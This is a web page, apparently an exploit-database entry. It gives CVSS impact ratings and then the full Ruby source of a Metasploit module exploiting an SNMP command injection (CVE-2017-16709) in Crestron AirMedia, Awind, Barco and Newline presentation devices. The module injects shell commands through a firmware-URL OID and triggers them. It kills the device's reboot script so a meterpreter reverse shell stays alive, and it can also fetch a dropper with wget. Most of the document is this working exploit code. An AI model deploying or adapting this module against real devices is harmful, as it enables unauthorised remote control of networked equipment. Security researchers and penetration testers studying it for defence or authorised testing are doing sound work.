The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: AwindInc SNMP Service Command Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "AwindInc SNMP Service Command Injection",
'Description' => %q{
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
A valid SNMP read-write community is required to exploit this vulnerability.
The following devices are known to be affected by this issue:
* Crestron Airmedia AM-100 <= version 1.5.0.4
* Crestron Airmedia AM-101 <= version 2.5.0.12
* Awind WiPG-1600w <= version 2.0.1.8
* Awind WiPG-2000d <= version 2.1.6.2
* Barco wePresent 2000 <= version 2.1.5.7
* Newline Trucast 2 <= version 2.1.0.5
* Newline Trucast 3 <= version 2.1.3.7
},
'License' => MSF_LICENSE,
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
],
'References' =>
[
['CVE', '2017-16709'],
['URL', 'https://github.com/QKaiser/awind-research'],
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
],
'DisclosureDate' => '2019-03-27',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}
}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'CmdStagerFlavor' => %w[wget],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))
register_options(
[
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
])
end
def check
begin
connect_snmp
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
print_status("Target system is #{sys_description}")
# AM-100 and AM-101 considered EOL, no fix so no need to check version.
model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
case model
when 'AM-100', 'AM-101'
return CheckCode::Vulnerable
else
# TODO: insert description check for other vulnerable models (that I don't have)
# In the meantime, we return 'safe'.
return CheckCode::Safe
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
Exploit::CheckCode::Unknown
end
def inject_payload(cmd)
begin
connect_snmp
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Injection successful")
else
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
end
def trigger
begin
connect_snmp
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Trigger successful")
else
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
end
def exploit
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, opts = {})
# The payload must start with a valid FTP URI otherwise the injection point is not reached
cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
# keep our reverse shell opened :)
cmd << "$(pkill -f /etc/reboot.sh)"
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
cmd << "A" * (255-cmd.length)
# we inject our payload in camFWUpgradeFTPURL
print_status("Injecting payload")
inject_payload(cmd)
# we trigger the firmware download via FTP, which will end up calling this
# "/bin/getRemoteURL.sh %s %s %s %d"
print_status("Triggering call")
trigger
end
end
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